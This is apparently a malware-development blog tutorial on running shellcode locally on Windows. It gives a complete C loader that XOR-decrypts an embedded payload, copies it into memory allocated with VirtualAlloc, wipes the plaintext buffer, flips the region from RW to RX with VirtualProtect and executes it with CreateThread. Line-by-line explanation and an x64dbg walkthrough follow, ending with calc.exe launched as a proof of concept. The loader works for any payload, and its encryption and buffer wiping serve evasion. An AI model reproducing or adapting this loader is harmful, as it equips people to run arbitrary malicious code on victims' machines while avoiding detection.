> For the complete documentation index, see [llms.txt](https://www.insidepwn.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.insidepwn.com/blogs/maldev/local-payload-execution-shellcode.md).

# Local Payload Execution - Shellcode

### Local Payload Execution - Shellcode

* the main agenda of this is to make us learn how to decode the shellcode at runtime , create thread , change memory region permission&#x20;

```c
#include <windows.h>
#include <stdio.h>
#include <string.h>

unsigned char encrypted[] = "\x88\x20\xea\x97\x95\x8d\xad\x73\x71\x75\x28\x25\x24\x38\x33\x23\x32\x3c\x5e\xb1\x17\x29\xe8\x39\x0d\x21\xe8\x20\x77\x3b\xe7\x3d\x50\x78\xbb\x42\x61\x7a\x3f\x87\x78\x7a\x7d\x01\xfb\x3c\x59\xa9\xdf\x59\x04\x11\x71\x5d\x55\x28\xb5\xac\x65\x20\x73\xa5\x96\x82\x31\x33\x30\x2b\xe0\x3f\x49\xe8\x30\x53\x3b\x6d\xbf\xfb\xb0\xb8\x30\x31\x32\x78\xb5\xf2\x44\x57\x78\x33\xa4\x38\xe2\x3b\x7d\x21\xe6\x33\x51\x3c\x68\xa4\x86\x3e\x29\x8d\xad\x35\xe4\x57\xfa\x29\x62\xbd\x20\x58\xaa\x3a\x5e\xb3\xc0\x2e\xb1\xf9\x3d\x71\x30\xf3\x08\xd0\x47\xc1\x7c\x33\x7e\x50\x60\x2c\x4a\xb4\x10\xb5\x2b\x35\xfe\x29\x50\x2c\x69\xb1\x14\x25\xff\x63\x2b\x36\xea\x23\x77\x24\x68\xb3\x33\xe4\x77\xe4\x27\x71\xe0\x71\x68\x70\x6a\x6e\x69\x68\x71\x68\x71\x6b\x35\x32\x21\xf0\x89\x45\x2c\x21\x8e\x95\x31\x35\x3c\x32\x29\xf9\x76\x9d\x38\x9c\x8d\x9e\x3e\x23\xd7\x68\x63\x72\x6f\x73\x6c\x6f\x70\x78\xbd\xbd\x30\x33\x30\x30\x73\x8a\x01\xbb\x5d\xf3\x97\xbc\xc8\x85\x78\x47\x79\x30\xcf\xcf\xe1\xd8\xf5\x9e\xa7\x2c\xf7\xab\x4b\x4e\x67\x1f\x61\xed\x92\x83\x07\x6a\xc8\x2b\x7c\x02\x5f\x5a\x30\x68\x73\xb9\xea\xcd\xe5\x53\x51\x5e\x17\x46\x0c\x0b\x00\x65";

unsigned char decrypted[sizeof(encrypted)];

int main() {
	char key[] = "thiseemsquitehardtocrackmicroslop000120020002";
	
	int key_size = strlen(key);

	int enc_shellcode_size = sizeof(encrypted) - 1;

	for (int i = 0;i < enc_shellcode_size;i++) {
		decrypted[i] = encrypted[i] ^ key[i % key_size];
		//printf("\\x%02x",decrypted[i]);
	}

	printf("Decrypted shellcode address : %p\n", decrypted);

	LPVOID alloc = VirtualAlloc(NULL,enc_shellcode_size,MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
	
	printf("allocated space (empty as of now) : %p\n",alloc);

	printf("Press < Enter > to continue allocatating shellcode\n");

	getchar();

	memcpy(alloc,decrypted,enc_shellcode_size);

	printf("Press < Enter > to overwrite the decrypted shellcode variable\n ");

	getchar();

	memset(decrypted,'\0',enc_shellcode_size);

	printf("Press < Enter > to continue\n ");

	getchar();

	PDWORD OldProtect = PAGE_READWRITE;

	printf("Press < Enter > to change the memory region from RW --> RX");
	
	getchar();

	BOOL protect = VirtualProtect(alloc,enc_shellcode_size,PAGE_EXECUTE_READ,&OldProtect);

	printf("Press < Enter > to continue\n ");
	
	getchar();

	HANDLE Thread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)alloc,NULL,0,NULL);

	WaitForSingleObject(Thread,5000);


	printf("Press < Enter > to quit\n ");

	getchar();
}
```

1. in this first we declare the enc shellcode as global variable
2. further we decode the shellcode using `XOR` as its symmetric so enc and dec can be done by same function

```c
	for (int i = 0;i < enc_shellcode_size;i++) {
		decrypted[i] = encrypted[i] ^ key[i % key_size];
		//printf("\\x%02x",decrypted[i]);
	}
```

3. then we allocate some space using `VirtualAlloc` function where we allocate space of the shellcode size and can keep the protection `RW` which is Read Write

```c
	LPVOID alloc = VirtualAlloc(NULL,enc_shellcode_size,MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
```

4. then we copy the shellcode from the `decrypted` variable and paste it to the `alloc` variable so now `alloc` has the decrypted shellcode

```c
memcpy(alloc,decrypted,enc_shellcode_size);
```

5. here using `memset` we overwrite the bytes for `decrypted` variable with null bytes (\0) as we have copied the shellcode to the `alloc`

```c
memset(decrypted,'\0',enc_shellcode_size);
```

6. next to run the shellcode RW is not enough we need X (execute) so we change it to RW --> RX using the `VirtualProtect`

```c
PDWORD OldProtect = PAGE_READWRITE;
BOOL protect = VirtualProtect(alloc,enc_shellcode_size,PAGE_EXECUTE_READ,&OldProtect);
```

7. next is to create thread and let it alive for 5000 ms as thread dies as created and this works fine

```c
	HANDLE Thread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)alloc,NULL,0,NULL);

	WaitForSingleObject(Thread,5000);
```

* using `CreateThread` we just provide the base address for shellcode which is RX region as of now

### Debugging

1. First we open the exe in x64dbg and see what's the decrypted shellcode address which is `00007FF72E19D4E0`

<figure><img src="/files/d0g4BrvTAgtyqZTqQbBP" alt=""><figcaption></figcaption></figure>

2. we see the shellcode in dump and see that the shellcode is decrypted at the address `00007FF72E19D4E0`

<figure><img src="/files/JF4SQzcMvFNWz5B0TU0x" alt=""><figcaption></figcaption></figure>

* we can see the `calc.exe` is there in dec shellcode

3. next we have address `0000017431E60000` for `alloc` where we have currently allocated the space for shellcode and is empty as of now

<figure><img src="/files/jBWdecQ0XT4osQLbEqzl" alt=""><figcaption></figcaption></figure>

* we see that this whole thing is empty as of now and lets press enter and copy the shellcode (read code if you don't get why pressed enter)

<figure><img src="/files/nYKG2keFBYiXJ0HqVe9Z" alt=""><figcaption></figcaption></figure>

* same address but now we have the shellcode copied to it

4. next we will overwrite our decrypted shellcode with null bytes (\0) as we have copied the shellcode to `alloc`

<figure><img src="/files/FnsllOJ698smY3JCEgxC" alt=""><figcaption></figcaption></figure>

* same address `00007FF72E19D4E0` as above but now there is no shellcode

5. now we need to change protection on our memory region (`alloc`) to RW --> RX

<figure><img src="/files/cRknzbvUXDpJUSSjixjB" alt=""><figcaption></figcaption></figure>

* we see currently it is `RW` , now we continue to make it RX so our shellcode can be executed

<figure><img src="/files/QDXZKNxUF5zHlwBVzNRE" alt=""><figcaption></figcaption></figure>

* now everything is fine the memory region is changed from RW ---> RX and we already have out shellcode copied now let's continue to pop up some calc as POC

6. now we have calc.exe as working POC

<figure><img src="/files/nyFx0weqSq9WlPT9sfTJ" alt=""><figcaption></figcaption></figure>
